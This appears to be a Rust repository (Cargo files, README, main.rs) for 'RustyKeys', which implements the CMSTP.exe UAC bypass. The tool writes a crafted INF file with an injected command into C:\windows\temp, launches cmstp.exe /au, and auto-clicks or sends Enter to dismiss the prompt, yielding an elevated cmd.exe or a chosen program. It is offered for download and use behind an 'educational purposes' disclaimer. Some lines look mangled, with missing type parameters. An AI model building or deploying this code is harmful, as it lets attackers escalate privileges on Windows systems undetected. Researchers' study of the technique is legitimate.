├── Cargo.lock
├── Cargo.toml
├── README.md
└── src
└── main.rs
/Cargo.lock:
--------------------------------------------------------------------------------
1 | # This file is automatically @generated by Cargo.
2 | # It is not intended for manual editing.
3 | version = 3
4 |
5 | [[package]]
6 | name = "RustyKeys"
7 | version = "0.1.0"
8 | dependencies = [
9 | "uuid",
10 | "winapi",
11 | ]
12 |
13 | [[package]]
14 | name = "cfg-if"
15 | version = "1.0.0"
16 | source = "registry+https://github.com/rust-lang/crates.io-index"
17 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
18 |
19 | [[package]]
20 | name = "getrandom"
21 | version = "0.2.15"
22 | source = "registry+https://github.com/rust-lang/crates.io-index"
23 | checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7"
24 | dependencies = [
25 | "cfg-if",
26 | "libc",
27 | "wasi",
28 | ]
29 |
30 | [[package]]
31 | name = "libc"
32 | version = "0.2.162"
33 | source = "registry+https://github.com/rust-lang/crates.io-index"
34 | checksum = "18d287de67fe55fd7e1581fe933d965a5a9477b38e949cfa9f8574ef01506398"
35 |
36 | [[package]]
37 | name = "uuid"
38 | version = "1.11.0"
39 | source = "registry+https://github.com/rust-lang/crates.io-index"
40 | checksum = "f8c5f0a0af699448548ad1a2fbf920fb4bee257eae39953ba95cb84891a0446a"
41 | dependencies = [
42 | "getrandom",
43 | ]
44 |
45 | [[package]]
46 | name = "wasi"
47 | version = "0.11.0+wasi-snapshot-preview1"
48 | source = "registry+https://github.com/rust-lang/crates.io-index"
49 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
50 |
51 | [[package]]
52 | name = "winapi"
53 | version = "0.3.9"
54 | source = "registry+https://github.com/rust-lang/crates.io-index"
55 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
56 | dependencies = [
57 | "winapi-i686-pc-windows-gnu",
58 | "winapi-x86_64-pc-windows-gnu",
59 | ]
60 |
61 | [[package]]
62 | name = "winapi-i686-pc-windows-gnu"
63 | version = "0.4.0"
64 | source = "registry+https://github.com/rust-lang/crates.io-index"
65 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
66 |
67 | [[package]]
68 | name = "winapi-x86_64-pc-windows-gnu"
69 | version = "0.4.0"
70 | source = "registry+https://github.com/rust-lang/crates.io-index"
71 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
72 |
--------------------------------------------------------------------------------
/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "RustyKeys"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | [dependencies]
7 | winapi = { version = "0.3", features = [
8 | "winuser",
9 | "processthreadsapi",
10 | "psapi",
11 | "handleapi",
12 | "minwindef"
13 | ] }
14 | uuid = { version = "1.2", features = ["v4"] }
15 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CMSTP UAC Bypass Implementation in Rust
2 |
3 | This project is a Rust implementation of a UAC (User Account Control) bypass technique that was originally researched by Oddvar Moe and implemented in C#/.NET by zc00l. The technique leverages the Windows Connection Manager Profile Installer (CMSTP.exe) to elevate privileges.
4 |
5 | ## Overview
6 |
7 | The implementation uses Windows' CMSTP.exe binary to bypass UAC restrictions through a specially crafted .inf file. This allows a medium integrity process belonging to a local administrator to spawn a new high integrity process with full privileges.
8 |
9 | ## Technical Implementation
10 |
11 | ### Key Components
12 |
13 | #### INF File Generation
14 | - Creates a temporary .inf file in `C:\windows\temp`
15 | - Uses UUID v4 for unique filename generation
16 | - Injects the specified command into the INF template
17 | - Maintains the same INF structure as the original implementation
18 |
19 | #### Process Management
20 | - Executes CMSTP.exe with the `/au` flag
21 | - Handles process spawning and monitoring
22 | - Implements proper error handling for binary existence checks
23 |
24 | #### Window Management
25 | - Uses the Windows API through `winapi` crate
26 | - Implements window finding and interaction
27 | - Handles UAC prompt automation
28 | - Simulates keyboard input when needed
29 |
30 | ### Safety Improvements
31 |
32 | - Memory safety through Rust's ownership system
33 | - No unsafe DLL reflection (unlike the C# version)
34 | - Proper error handling and Result types
35 | - Safe string handling with proper Unicode support
36 | - Controlled process management
37 |
38 | ## Usage
39 |
40 | Download from the release or build on your own.
41 |
42 | Default usage (spawns elevated cmd.exe):
43 | ```bash
44 | .\RustyKeys.exe
45 | ```
46 |
47 | Execute specific command with elevation:
48 | ```bash
49 | .\RustyKeys.exe "path_to_executable"
50 | ```
51 |
52 | ## Building on Windows
53 |
54 | ```cmd
55 | cargo build --release
56 | ```
57 |
58 | ## Building on Linux
59 | ```cmd
60 | cargo build --release --target x86_64-pc-windows-msvc # For 64-bit
61 | cargo build --release --target i686-pc-windows-msvc # For 32-bit
62 | ```
63 |
64 | ## Technical Details
65 |
66 | ### Core Functions
67 |
68 | #### generate_inf_file(command: &str) -> String
69 | - Generates the INF file with the command to be executed
70 | - Returns the path to the generated file
71 | - Uses UUID for unique filename generation
72 |
73 | #### execute_cmstp(inf_file: &str)
74 | - Handles the execution of CMSTP.exe
75 | - Manages process creation and monitoring
76 | - Implements privilege elevation logic
77 |
78 | #### interact_with_window(process_name: &str) -> bool
79 | - Manages window interaction
80 | - Handles UAC prompt automation
81 | - Implements keyboard simulation when needed
82 |
83 | ## Credits
84 |
85 | This implementation is based on research and work by several security researchers:
86 |
87 | - Original Research: [Oddvar Moe](https://oddvar.moe/2017/08/15/research-on-cmstp-exe/)
88 | - Original C#/.NET Implementation and Article: zc00l
89 | - Article: [How to bypass UAC in newer Windows versions](https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html)
90 | - PowerShell Script: Tyler Applebaum
91 | - Script: [UACBypassCMSTP.ps1](https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1)
92 |
93 | Special thanks to zc00l for the comprehensive article explaining the technique and providing the original C#/.NET implementation that served as the basis for this Rust version.
94 |
95 | ## Legal Disclaimer
96 |
97 | This code is provided for educational purposes only. Users are responsible for ensuring compliance with applicable laws and regulations. The authors are not responsible for misuse of this software.
98 |
--------------------------------------------------------------------------------
/src/main.rs:
--------------------------------------------------------------------------------
1 | #![windows_subsystem = "windows"]
2 | use std::env::args;
3 | use std::ffi::CString;
4 | use std::fs::File;
5 | use std::io::Write;
6 | use std::process::{Command, Stdio};
7 | use std::ptr::null_mut;
8 | use std::thread;
9 | use std::time::Duration;
10 | use winapi::um::winuser::{
11 | FindWindowA, FindWindowExA, SendMessageA, SetForegroundWindow, ShowWindow, BM_CLICK,
12 | SW_SHOWNORMAL,
13 | };
14 | use winapi::um::winuser::{SendInput, INPUT, INPUT_KEYBOARD, KEYBDINPUT, VK_RETURN};
15 |
16 | static INF_TEMPLATE: &str = r#"[version]
17 | Signature=$chicago$
18 | AdvancedINF=2.5
19 |
20 | [DefaultInstall]
21 | CustomDestination=CustInstDestSectionAllUsers
22 | RunPreSetupCommands=RunPreSetupCommandsSection
23 |
24 | [RunPreSetupCommandsSection]
25 | REPLACE_COMMAND_LINE
26 | taskkill /IM cmstp.exe /F
27 |
28 | [CustInstDestSectionAllUsers]
29 | 49000,49001=AllUSer_LDIDSection, 7
30 |
31 | [AllUSer_LDIDSection]
32 | "HKLM", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
33 |
34 | [Strings]
35 | ServiceName="CorpVPN"
36 | ShortSvcName="CorpVPN"
37 | "#;
38 |
39 | fn generate_inf_file(command: &str) -> String {
40 | let temp_dir = "C:\\windows\\temp";
41 | let random_file_name = format!("{}\\{}.inf", temp_dir, uuid::Uuid::new_v4());
42 | let inf_data = INF_TEMPLATE.replace("REPLACE_COMMAND_LINE", command);
43 |
44 | let mut file = File::create(&random_file_name).expect("Failed to create INF file");
45 | file.write_all(inf_data.as_bytes())
46 | .expect("Failed to write INF file");
47 |
48 | random_file_name
49 | }
50 |
51 | fn execute_cmstp(inf_file: &str) {
52 | let binary_path = "C:\\windows\\system32\\cmstp.exe";
53 |
54 | if !std::path::Path::new(binary_path).exists() {
55 | eprintln!("cmstp.exe binary not found!");
56 | return;
57 | }
58 |
59 | let mut child = Command::new(binary_path)
60 | .arg("/au")
61 | .arg(inf_file)
62 | .stdout(Stdio::null())
63 | .stderr(Stdio::null())
64 | .spawn()
65 | .expect("Failed to start cmstp.exe");
66 |
67 | let window_titles = ["CorpVPN", "cmstp"];
68 |
69 | for title in &window_titles {
70 | if interact_with_window(title) {
71 | break;
72 | }
73 | }
74 |
75 | child.wait().expect("Failed to wait on cmstp.exe");
76 | }
77 |
78 | fn interact_with_window(process_name: &str) -> bool {
79 | let class_name = CString::new(process_name).unwrap();
80 |
81 | loop {
82 | unsafe {
83 | let hwnd = FindWindowA(null_mut(), class_name.as_ptr());
84 | if hwnd.is_null() {
85 | continue;
86 | }
87 |
88 | SetForegroundWindow(hwnd);
89 | ShowWindow(hwnd, SW_SHOWNORMAL);
90 |
91 | let ok_button = FindWindowExA(
92 | hwnd,
93 | null_mut(),
94 | null_mut(),
95 | CString::new("OK").unwrap().as_ptr(),
96 | );
97 | if !ok_button.is_null() {
98 | SendMessageA(ok_button, BM_CLICK, 0, 0);
99 | return true;
100 | }
101 |
102 | simulate_keypress();
103 | return true;
104 | }
105 | }
106 |
107 | false
108 | }
109 |
110 | fn simulate_keypress() {
111 | unsafe {
112 | let mut input = INPUT {
113 | type_: INPUT_KEYBOARD,
114 | u: std::mem::zeroed(),
115 | };
116 |
117 | *input.u.ki_mut() = KEYBDINPUT {
118 | wVk: VK_RETURN as u16,
119 | wScan: 0,
120 | dwFlags: 0,
121 | time: 0,
122 | dwExtraInfo: 0,
123 | };
124 |
125 | SendInput(1, &mut input, std::mem::size_of::() as i32);
126 | }
127 | }
128 |
129 | fn main() {
130 | let args: Vec = args().collect();
131 |
132 | let inf_file = if args.len() != 2 {
133 | let command_to_execute = "C:\\Windows\\System32\\cmd.exe";
134 | generate_inf_file(command_to_execute)
135 | } else if args.len() > 2 {
136 | eprintln!(
137 | "Either specify a single file to be executed, or leave blank for the default value"
138 | );
139 | return;
140 | } else {
141 | let command_to_execute = &args[1];
142 | generate_inf_file(command_to_execute)
143 | };
144 |
145 | execute_cmstp(&inf_file);
146 | }
147 |
--------------------------------------------------------------------------------